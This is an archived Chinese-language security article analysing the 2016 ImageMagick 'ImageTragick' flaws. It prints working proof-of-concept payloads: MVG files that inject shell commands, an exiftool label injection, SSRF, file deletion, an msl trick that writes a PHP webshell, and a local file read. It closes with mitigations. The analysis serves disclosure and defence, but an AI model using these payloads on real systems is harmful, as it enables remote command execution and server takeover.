
        <html>
			<head>
			     <title>CVE-2016-3714 - ImageMagick 命令执行分析 - phith0n</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/15589">http://drops.wooyun.org/papers/15589</a></h1>
				
      <p>
        <p>ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现，当用户传入一个包含『畸形内容』的图片的时候，就有可能触发命令注入漏洞。</p>

<p>国外的安全人员为此新建了一个网站： https://imagetragick.com/ ，不得不说，有些外国人蛮会玩的。</p>

<p>相对于之前的数个拥有『主页』的漏洞，这个洞确实不一般，确实是一个可以被利用的好洞，乌云主站上也爆出了数个被该漏洞影响的大厂商。我们先来分析一下它出现的原因。</p>

<!--more-->

<h1>0x01 原理分析</h1>

<hr />

<p>与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，利用这个漏洞可以造成远程命令执行的危害。</p>

<p>ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的（ https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 ）</p>

<p>我们在ImageMagick的默认配置文件里可以看到所有的委托： /etc/ImageMagick/delegates.xml</p>

<pre><code>#!xml
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE delegatemap [
&lt;!ELEMENT delegatemap (delegate)+&gt;
&lt;!ELEMENT delegate (#PCDATA)&gt;
&lt;!ATTLIST delegate decode CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate encode CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate mode CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate spawn CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate stealth CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate thread-support CDATA #IMPLIED&gt;
&lt;!ATTLIST delegate command CDATA #REQUIRED&gt;
]&gt;
&lt;!--
  Delegate command file.

  Commands which specify

    decode="in_format" encode="out_format"

  specify the rules for converting from in_format to out_format These
  rules may be used to translate directly between formats.

  Commands which specify only

    decode="in_format"

  specify the rules for converting from in_format to some format that
  ImageMagick will automatically recognize. These rules are used to
  decode formats.

  Commands which specify only

   encode="out_format"

  specify the rules for an "encoder" which may accept any input format.

  For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are
  as follows:

    %i  input image filename
    %o  output image filename
    %u  unique temporary filename
    %Z  unique temporary filename
    %#  input image signature
    %b  image file size
    %c  input image comment
    %g  image geometry
    %h  image rows (height)
    %k  input image number colors
    %l  image label
    %m  input image format
    %p  page number
    %q  input image depth
    %s  scene number
    %w  image columns (width)
    %x  input image x resolution
    %y  input image y resolution

  Set option delegate:bimodal=true to process bimodal delegates otherwise they
  are ignored.

  If stealth="True" the delegate is not listed in user requested
  "-list delegate" listings. These are typically special internal delegates.

  If spawn="True" ImageMagick will not way for the delegate to finish,
  nor will it read any output image.  It will only wait for either the input
  file to be removed (See "ephemeral:" coder) indicating that the input file
  has been read, or a maximum time limit of 2 seconds.
--&gt;
&lt;delegatemap&gt;
  &lt;delegate decode="autotrace" stealth="True" command="&amp;quot;convert&amp;quot; &amp;quot;%i&amp;quot; &amp;quot;pnm:%u&amp;quot;\n&amp;quot;autotrace&amp;quot; -input-format pnm -output-format svg -output-file &amp;quot;%o&amp;quot; &amp;quot;%u&amp;quot;"/&gt;
  &lt;delegate decode="blender" command="&amp;quot;blender&amp;quot; -b &amp;quot;%i&amp;quot; -F PNG -o &amp;quot;%o&amp;quot;&amp;quot;\n&amp;quot;convert&amp;quot; -concatenate &amp;quot;%o*.png&amp;quot; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="browse" stealth="True" spawn="True" command="&amp;quot;xdg-open&amp;quot; http://www.imagemagick.org/; rm &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="cdr" command="&amp;quot;uniconvertor&amp;quot; &amp;quot;%i&amp;quot; &amp;quot;%o.svg&amp;quot;; mv &amp;quot;%o.svg&amp;quot; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="cgm" thread-support="False" command="&amp;quot;ralcgm&amp;quot; -d ps -oC &amp;lt; &amp;quot;%i&amp;quot; &amp;gt; &amp;quot;%o&amp;quot; 2&amp;gt; &amp;quot;%Z&amp;quot;"/&gt;
  &lt;delegate decode="dvi" command="&amp;quot;dvips&amp;quot; -q -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="dng:decode" command="&amp;quot;ufraw-batch&amp;quot; --silent --create-id=also --out-type=png --out-depth=16 &amp;quot;--output=%u.png&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="dot" command='&amp;quot;dot&amp;quot; -Tsvg &amp;quot;%i&amp;quot; -o &amp;quot;%o&amp;quot;' /&gt;
  &lt;delegate decode="edit" stealth="True" command="&amp;quot;/etc/alternatives/x-terminal-emulator&amp;quot; -title &amp;quot;Edit Image Comment&amp;quot; -e vi &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="eps" encode="pdf" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 &amp;quot;-sDEVICE=pdfwrite&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="eps" encode="ps" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=nodevice&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="fig" command="&amp;quot;fig2dev&amp;quot; -L ps &amp;quot;%i&amp;quot; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="plt" command="&amp;quot;echo&amp;quot; &amp;quot;set size 1.25,0.62; set terminal postscript portrait color solid; set output \'%o\'; load \'%i\'&amp;quot; &amp;gt; &amp;quot;%u&amp;quot;;&amp;quot;gnuplot&amp;quot; &amp;quot;%u&amp;quot;"/&gt;
  &lt;delegate decode="hpg" command="&amp;quot;hp2xx&amp;quot; -q -m eps -f `basename &amp;quot;%o&amp;quot;` &amp;quot;%i&amp;quot;;     mv -f `basename &amp;quot;%o&amp;quot;` &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then     hp2xx -q -m eps -f `basename &amp;quot;%o&amp;quot;` &amp;quot;%i&amp;quot;;     mv -f `basename &amp;quot;%o&amp;quot;` &amp;quot;%o&amp;quot;;   else     echo &amp;quot;You need to install hp2xx to use HPGL files with ImageMagick.&amp;quot;;     exit 1;   fi"/&gt;
  &lt;delegate decode="htm" command="&amp;quot;html2ps&amp;quot; -U -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="html" command="&amp;quot;html2ps&amp;quot; -U -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="https" command="&amp;quot;curl&amp;quot; -s -k -o &amp;quot;%o&amp;quot; &amp;quot;https:%M&amp;quot;"/&gt;
  &lt;delegate decode="ilbm" command="&amp;quot;ilbmtoppm&amp;quot; &amp;quot;%i&amp;quot; &amp;gt; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="man" command="&amp;quot;groff&amp;quot; -man -Tps &amp;quot;%i&amp;quot; &amp;gt; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="mpeg:decode" command="&amp;quot;ffmpeg&amp;quot; -v -1 -i &amp;quot;%i&amp;quot; -vframes %S -vcodec pam -an -f rawvideo -y &amp;quot;%u.pam&amp;quot; 2&amp;gt; &amp;quot;%Z&amp;quot;"/&gt;
  &lt;delegate encode="mpeg:encode" stealth="True" command="&amp;quot;ffmpeg&amp;quot; -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i &amp;quot;%M%%d.jpg&amp;quot; &amp;quot;%u.%m&amp;quot; 2&amp;gt; &amp;quot;%Z&amp;quot;"/&gt;
  &lt;delegate decode="sid" command="&amp;quot;mrsidgeodecode&amp;quot; -if sid -i &amp;quot;%i&amp;quot; -of tif -o &amp;quot;%o&amp;quot; &amp;gt; &amp;quot;%u&amp;quot;"/&gt;
  &lt;delegate decode="pcl:color" stealth="True" command="&amp;quot;pcl6&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=ppmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
  &lt;delegate decode="pcl:cmyk" stealth="True" command="&amp;quot;pcl6&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pamcmyk32&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
  &lt;delegate decode="pcl:mono" stealth="True" command="&amp;quot;pcl6&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pbmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
  &lt;delegate decode="pdf" encode="eps" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=epswrite&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="pdf" encode="ps" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=nodevice&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="tiff" encode="launch" mode="encode" command="&amp;quot;gimp&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="pnm" encode="ilbm" mode="encode" command="&amp;quot;ppmtoilbm&amp;quot; -24if &amp;quot;%i&amp;quot; &amp;gt; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="pov" command="&amp;quot;povray&amp;quot; &amp;quot;+i%i&amp;quot; -D0 &amp;quot;+o%o&amp;quot; +fn%q +w%w +h%h +a -q9 &amp;quot;-kfi%s&amp;quot; &amp;quot;-kff%n&amp;quot;;&amp;quot;convert&amp;quot; -concatenate &amp;quot;%o*.png&amp;quot; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="ps" encode="eps" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=epswrite&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="ps" encode="pdf" mode="bi" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pdfwrite&amp;quot; &amp;quot;-sOutputFile=%o&amp;quot; &amp;quot;-f%i&amp;quot;"/&gt;
  &lt;delegate decode="ps" encode="print" mode="encode" command="lpr &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="ps:alpha" stealth="True" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pngalpha&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;-f%s&amp;quot; &amp;quot;-f%s&amp;quot;"/&gt;
  &lt;delegate decode="ps:cmyk" stealth="True" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pam&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;-f%s&amp;quot; &amp;quot;-f%s&amp;quot;"/&gt;
  &lt;delegate decode="ps:color" stealth="True" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pnmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;-f%s&amp;quot; &amp;quot;-f%s&amp;quot;"/&gt;
  &lt;delegate decode="ps:mono" stealth="True" command="&amp;quot;gs&amp;quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pbmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;-f%s&amp;quot; &amp;quot;-f%s&amp;quot;"/&gt;
  &lt;delegate decode="rgba" encode="rle" mode="encode" command="&amp;quot;rawtorle&amp;quot; -o &amp;quot;%o&amp;quot; -v &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="scan" command="&amp;quot;scanimage&amp;quot; -d &amp;quot;%i&amp;quot; &amp;gt; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="scanx" command="&amp;quot;scanimage&amp;quot; &amp;gt; &amp;quot;%o&amp;quot;"/&gt;
  &lt;delegate decode="miff" encode="show" spawn="True" command="&amp;quot;/usr/bin/display&amp;quot; -delay 0 -window-group %[group] -title &amp;quot;%l &amp;quot; &amp;quot;ephemeral:%i&amp;quot;"/&gt;
  &lt;delegate decode="shtml" command="&amp;quot;html2ps&amp;quot; -U -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="svg" command="&amp;quot;rsvg-convert&amp;quot; -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="txt" encode="ps" mode="bi" command="&amp;quot;enscript&amp;quot; -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="miff" encode="win" stealth="True" spawn="True" command="&amp;quot;/usr/bin/display&amp;quot; -immutable -delay 0 -window-group %[group] -title &amp;quot;%l &amp;quot; &amp;quot;ephemeral:%i&amp;quot;"/&gt;
  &lt;delegate decode="wmf" command="&amp;quot;wmf2eps&amp;quot; -o &amp;quot;%o&amp;quot; &amp;quot;%i&amp;quot;"/&gt;
  &lt;delegate decode="xps:color" stealth="True" command="&amp;quot;gxps&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=ppmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
  &lt;delegate decode="xps:cmyk" stealth="True" command="&amp;quot;gxps&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=bmpsep8&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
  &lt;delegate decode="xps:mono" stealth="True" command="&amp;quot;gxps&amp;quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &amp;quot;-sDEVICE=pbmraw&amp;quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &amp;quot;-r%s&amp;quot; %s &amp;quot;-sOutputFile=%s&amp;quot; &amp;quot;%s&amp;quot;"/&gt;
&lt;/delegatemap&gt;
</code></pre>

<p>我们可以看到，这里它定义了很多占位符，比如%i是输入的文件名，%l是图片exif label信息。而在后面command的位置，%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来，被拼接完毕的命令行传入了系统的system函数，而我们只需使用反引号（`）或闭合双引号，来执行任意命令。</p>

<p>漏洞报告中给出的POC是利用了如下的这个委托：</p>

<pre><code>&lt;delegate decode="https" command="&amp;quot;curl&amp;quot; -s -k -o &amp;quot;%o&amp;quot; &amp;quot;https:%M&amp;quot;"/&gt;
</code></pre>

<p>它在解析https图片的时候，使用了curl命令将其下载，我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式，叫mvg，而mvg与svg格式类似，其中是以文本形式写入矢量图的内容，而这其中就可以包含https处理过程。</p>

<p>所以我们可以构造一个.mvg格式的图片（但文件名可以不为.mvg，比如下图中包含payload的文件的文件名为vul.gif，而ImageMagick会根据其内容识别为mvg图片），并在https://后面闭合双引号，写入自己要执行的命令：</p>

<pre><code>push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
</code></pre>

<p>这样，ImageMagick在正常执行图片转换、处理的时候就会触发漏洞：</p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/05/14624373793837.jpg"><img src="http://static.wooyun.org//drops/20160505/2016050510205564018.jpg" alt="" title="14624373793837" class="alignnone size-full wp-image-15591" /></a></p>

<p>其他几个CVE也比较有趣，比如CVE-2016-3718，他是利用mvg格式中可以包含url的特点，进行SSRF攻击，POC如下：</p>

<pre><code>push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
</code></pre>

<p>CVE-2016-3715是利用ImageMagick支持的ephemeral协议，来删除任意文件：</p>

<pre><code>push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
</code></pre>

<p>CVE-2016-3716是利用ImageMagick支持的msl协议，来进行文件的读取和写入。利用这个漏洞，可以将任意文件写为任意文件，比如将图片写为一个.php后缀的webshell。</p>

<p>特别说明的是，msl协议是读取一个msl格式的xml文件，并根据其内容执行一些操作：</p>

<pre><code>file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;image&gt;
&lt;read filename="/tmp/image.gif" /&gt;
&lt;write filename="/var/www/shell.php" /&gt;
&lt;/image&gt;
</code></pre>

<p>CVE-2016-3717可以造成本地文件读取漏洞：</p>

<pre><code>push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context
</code></pre>

<h1>0x02 深入分析</h1>

<hr />

<p>除了报告中给出的POC以外，各个安全研究人员也集思广益，发现这个洞的更多利用/影响方式。</p>

<p>首先，PHP扩展『ImageMagick』也存在这个问题，而且只需要调用了Imagick类的构造方法，即可触发这个漏洞：</p>

<pre><code>&lt;?php
new Imagick('vul.gif');
</code></pre>

<p>因为没有返回值，我利用cloudeye捕捉到apache日志，从日志中读取命令执行的结果：</p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/05/QQ20160504-5@2x.png"><img src="http://static.wooyun.org//drops/20160505/2016050510205522153.png" alt="" title="QQ20160504-5@2x" class="alignnone size-full wp-image-15593" /></a></p>

<p>另外，经过分析，研究人员发现除了.mvg格式的图片以外，普通png格式的图片也能触发命令执行漏洞。我们看到前面委托中对%l，也就是exif label的处理：</p>

<pre><code>&lt;delegate decode="miff" encode="show" spawn="True" command="&amp;quot;/usr/bin/display&amp;quot; -delay 0 -window-group %[group] -title &amp;quot;%l &amp;quot; &amp;quot;ephemeral:%i&amp;quot;"/&gt;
</code></pre>

<p>它将%l拼接进入了/usr/bin/display命令中，所以我只需将正常的png图片，带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候，即可触发命令注入漏洞：</p>

<pre><code>exiftool -label="\"|/usr/bin/id; \"" test.png
convert test.png o.show
</code></pre>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/05/14624399792594.jpg"><img src="http://static.wooyun.org//drops/20160505/2016050510205512761.jpg" alt="" title="14624399792594" class="alignnone size-full wp-image-15592" /></a></p>

<p>但这个方法鸡肋之处在于，因为delegate.xml中配置的encode="show"（或"win"），所以只有输出为.show或.win格式的情况下才会调用这个委托，而普通的文件处理是不会触发这个命令的。</p>

<h1>0x03 影响分析</h1>

<hr />

<p>ImageMagick是一个使用非常广的组件，大量厂商都在处理图片的时候调用这个程序进行处理，而且很多开源应用也在核心代码中包含了ImageMagick选项。</p>

<p>Wordpress是著名的个人博客/CMS厂商，其核心源码中使用了PHP扩展ImageMagick。受到这个漏洞的影响，在攻击者拥有一定权限的情况下，可以在Wordpress中触发任意命令执行漏洞：  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205047">WooYun: Wordpress某核心功能命令执行漏洞（一定权限）</a> </p>

<p>同样的，Discuz、Drupal等常用CMS中也调用了ImageMagick扩展或ImageMagick库，CVE-2016-3714也可能会影响到他们。</p>

<p>但根据我对Discuz的分析，其调用ImageMagick处理图片之前，会先使用php的getimagesize进行图片格式、大小的验证，所以本文中所涉及的POC无法在Disucz中直接使用，但不排除有其他方法绕过discuz对该问题的限制。</p>

<p>除了开源软件中的漏洞以外，国内外各大厂商或多或少都收到了该问题的影响，影响最大的应该属人人，人人某处上传位置调用了ImageMagick进行图片的处理，结果造成了命令执行，导致内网被白帽子攻破：  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205171">WooYun: 人人网某漏洞导致直接Getshell影响主干网络直入内网</a> </p>

<p>另外，百度、优酷、腾讯、七牛等诸多厂商都收到该漏洞影响：  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205381">WooYun: QQ邮箱命某处令执行</a>  、  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205375">WooYun: 腾讯微云远程命令执行</a>  、  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205290">WooYun: 七牛云存储远程命令执行漏洞影响图片处理服务器</a>  、  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205259">WooYun: 百度某站远程命令执行漏洞</a>  、  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205206">WooYun: 一张图片引发的血案百度某处命令执行</a>  、  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205389">WooYun: 优酷主站存在远程命令执行漏洞</a> </p>

<p>还有个比较有意思的地方，因为新浪sae的php包含ImageMagick扩展，所以乌云上有白帽子利用这个漏洞，成功绕过了sae的沙盒  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2016-0205051">WooYun: SAE 沙盒绕过（ImageMagick CVE20163714 应用实例）</a> </p>

<h1>0x04 漏洞修复</h1>

<hr />

<p>关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本，包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以，我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。</p>

<p>现在，我们可以通过如下两个方法来暂时规避漏洞：</p>

<ol>
<li>处理图片前，先检查图片的 "magic bytes"，也就是图片头，如果图片头不是你想要的格式，那么就不调用ImageMagick处理图片。如果你是php用户，可以使用getimagesize函数来检查图片格式，而如果你是wordpress等web应用的使用者，可以暂时卸载ImageMagick，使用php自带的gd库来处理图片。</li>
<li>使用policy file来防御这个漏洞，这个文件默认位置在 /etc/ImageMagick/policy.xml ，我们通过配置如下的xml来禁止解析https等敏感操作：</li>
</ol>

<p>——</p>

<pre><code>&lt;policymap&gt;
  &lt;policy domain="coder" rights="none" pattern="EPHEMERAL" /&gt;
  &lt;policy domain="coder" rights="none" pattern="URL" /&gt;
  &lt;policy domain="coder" rights="none" pattern="HTTPS" /&gt;
  &lt;policy domain="coder" rights="none" pattern="MVG" /&gt;
  &lt;policy domain="coder" rights="none" pattern="MSL" /&gt;
&lt;/policymap&gt;
</code></pre>

<p>参考文献：<br />
https://imagetragick.com/<br />
http://www.openwall.com/lists/oss-security/2016/05/03/18<br />
http://weibo.com/p/1001603971443670055277</p>

<p>并感谢 @redrain有节操 @Ricter @BigBan 的帮助</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      